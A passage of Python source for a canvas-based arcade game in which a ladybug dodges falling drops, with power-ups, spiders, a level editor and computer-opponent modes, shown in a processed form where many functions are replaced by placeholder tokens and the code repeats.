token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n 